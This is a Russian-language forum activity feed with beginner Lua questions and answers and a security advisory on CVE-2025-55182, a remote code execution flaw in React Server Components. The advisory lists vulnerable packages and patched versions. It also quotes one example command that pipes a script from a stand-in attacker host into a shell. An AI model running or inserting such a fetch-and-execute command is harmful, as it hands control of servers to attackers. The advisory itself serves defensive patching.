Перейти к содержанию

Активность

Лента обновляется автоматически

  1. Ещё раньше
  2. Скажите как сравнивать таблицы в луа, я сделал так, но это выдет не тот результат, который я ожидал 😞 local a = {a=1, b=2} local b = {a=1, b=2} print(a==b) выводит false, хотя таблицы одинаковые
  3. CVE-2025-55182: критический RCE в React Server Components CVE-2025-55182 — критическая уязвимость (CVSS 10.0), затрагивающая React 19 и механизм React Server Components (RSC). Ошибка позволяет атакующему выполнить произвольный код на сервере, отправив злонамеренный сериализованный RSC-payload. Уязвимость безусловная: не требует авторизации, дополнительных токенов или обходов CORS. Техника RSC — это механизм React, позволяющий выполнять часть логики на сервере, после чего результат сериализуется в собственный протокол и отправляется клиенту. Уязвимость связана с тем, что серверная часть React: десериализует входящие данные без строгой валидации, принимает структуры, которые могут переопределять ссылки на серверные функции, разрешает клиенту принудительно создать объект, вызывающий исполнение произвольного кода. Иными словами: клиент может отправить payload, который заставит сервер выполнить функцию, к которой клиент никогда не должен иметь доступа. така выполняется без авторизации, если приложение использует RSC-эндпоинты, например: /react /rsc /_next/server-actions /.well-known/react Достаточно отправить изменённый RSC-пакет, содержащий вредоносные сериализованные ссылки, чтобы добиться: чтения файлов, выполнения системных команд, выполнения кода внутри серверных функций, обхода любых ограничений маршрутизации. Злоумышленник может вызвать произвольный код на целевом сервере: child_process.exec("curl attacker.com/pwn | sh") или подставить свой код в любую серверную функцию (например, getUser() или save()), что приводит к RCE. Уязвимые пакеты: react-server-dom-webpack 19.0.0 — 19.2.0 react-server-dom-parcel 19.0.0 — 19.2.0 react-server-dom-turbopack 19.0.0 — 19.2.0 Фреймворки: Уязвимы любые фреймворки, использующие RSC: Next.js 15.x, 16.x, часть 14.x-canary Vite + RSC plugin Parcel RSC Turbopack RSC Remix с RSC-адаптацией React Router RSC И даже приложения, созданные командой create-next-app, уязвимы без каких-либо изменений — RSC включён по умолчанию. Способы защиты 1) Обновить React и пакеты RSC до патч-версий: react 19.0.1 / 19.1.2 / 19.2.1 react-server-dom- 19.x.x с патчем* 2) Обновить фреймворки: Next.js → версии с фиксами (15.1.x / 16.0.3+) Плагины RSC для Vite/Parcel/Turbopack → последние релизы React Router / Remix → версии с исправлениями 3) Пересобрать приложение после обновления. 4) Проверить lock-файлы: rm -rf node_modules rm package-lock.json или yarn.lock npm install 5) Ограничить внешние RSC-эндпоинты, если возможно. Как проверить, уязвимо ли приложение Быстрая диагностика: Выполнить: npm ls react-server-dom-webpack npm ls react-server-dom-turbopack Если версия ниже патч-версии — приложение уязвимо. Проверить, включены ли RSC-роуты (Next.js): pages/ app/ server actions Если приложение React использует любой серверный рендеринг + RSC — почти наверняка затронуто.
  4. Технические работы 20 ноября 2025. С 00:00 до 00:15. Возможны перебои с подключениями.
  5. В этой ветке ифнормируем о предстоящих работах
  6. Можно использовать pcall, если есть функционал, который вызывает сомнения. Пример по вашему коду: function printer(...) printResult = "" for i, v in ipairs(arg) do printResult = printResult .. v .. "\t" end print(printResult) end printer("a", "b", {}) local status, err = pcall(printer, "a", "b", {}) if not status then print("Ошибка: " .. err) end
  7. Приветствую! В последнее время пишу много кода на lua, но иногда пишу с ошибками. Подскажите как делать функции, которые не прекращают выполнение программы? В последний раз встретил ошибку, которая связана с конкатенацией строки и nil. Хотелось бы писать безопасный код. function printer(...) printResult = "" for i, v in ipairs(arg) do printResult = printResult .. v .. "\t" end print(printResult) end printer("a", "b", {}) Этот код вызвал ошибку <string>:4: cannot perform concat operation between table and string stack traceback: <string>:4: in function 'printer' <string>:8: in main chunk [G]: ?
  8. Что такое pairs Общий итератор для таблиц. Обходит все ключи, порядок не гарантирован. Пример кода: t = { a = 1, b = 2, [3] = "hello" } for k, v in pairs(t) do print(k, v) end Что такое ipairs Итератор для «массива» (числовые последовательные индексы от 1). Останавливается на первом nil. Пример кода: t = { "one", "two", "three" } for i, v in ipairs(t) do print(i, v) end Важный момент: «дыры» в массивах t = { "one", nil, "three" } for i, v in ipairs(t) do print(i, v) end ipairs остановится на первом nil. pairs обойдёт все ключи. Когда использовать ipairs → строго массивы, без пропусков. pairs → словари, смешанные таблицы, «дырявые» массивы.
  9. Расскажите про эти штуки, из документации по луа не до конца понял про разницу. Сейчас работаю только с pairs, не пойму зачем нужен ipairs?
  1. Загрузить ещё активность
×
×
  • Создать...